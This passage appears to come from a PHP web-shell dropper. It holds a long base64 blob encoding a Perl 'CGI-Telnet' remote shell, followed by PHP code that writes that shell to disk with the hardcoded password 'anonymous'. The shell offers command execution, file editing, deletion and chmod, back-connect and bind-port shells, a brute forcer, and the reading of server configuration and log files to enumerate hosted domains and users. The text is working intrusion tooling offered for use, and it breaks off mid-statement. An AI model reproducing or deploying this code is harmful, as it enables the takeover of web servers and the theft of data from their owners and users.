l7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzY0NDg5MDk2Jz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZmY7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=";
                $cgi = fopen($file_cgi, "w");
                fwrite($cgi, "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;\n\$Version= \"CGI-Telnet Version 1.3\";\n\$EditPersion=\"<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>AnonyMous</font>\";\n\n\$Password = \"anonymous\";\t\t\t# Change this. You will need to enter this to login.\nsub Is_Win(){\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\n\tif(\$os =~ m/win/i){\n\t\treturn 1;\n\t}\n\telse{\n\t\treturn 0;\n\t}\n}\n\$WinNT = &Is_Win();\t\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10000;\t# Time in seconds after commands will be killed\n\t\t\t\t\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\n\t\t\t\t\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t\t\t\t\t# it is buffered and send when the command\n\t\t\t\t\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\$cols= 150;\n\$rows= 26;\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tmy \$dir =\$CurrentDir;\n\t\$dir=~ 